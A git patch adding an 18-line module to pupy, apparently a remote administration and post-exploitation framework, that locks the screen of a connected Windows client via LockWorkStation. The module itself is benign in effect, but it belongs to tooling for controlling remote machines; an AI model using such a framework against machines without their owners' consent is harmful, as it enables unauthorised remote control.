From 684096390d9e7fbe11b614cdc364bbb78d9f79d7 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Wed, 1 Jun 2016 22:26:10 +0200 Subject: [PATCH] windows session lock script --- pupy/modules/lock_screen.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 pupy/modules/lock_screen.py diff --git a/pupy/modules/lock_screen.py b/pupy/modules/lock_screen.py new file mode 100644 index 00000000..c6198db5 --- /dev/null +++ b/pupy/modules/lock_screen.py @@ -0,0 +1,18 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * + +__class_name__="PupyMod" + +@config(compat="windows", cat="manage", tags=["lock", "screen", "session"]) +class PupyMod(PupyModule): + """ Lock the session """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="lock_screen", description=self.__doc__) + + def run(self, args): + if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation(): + self.success("windows locked") + else: + self.error("couldn't lock the screen") +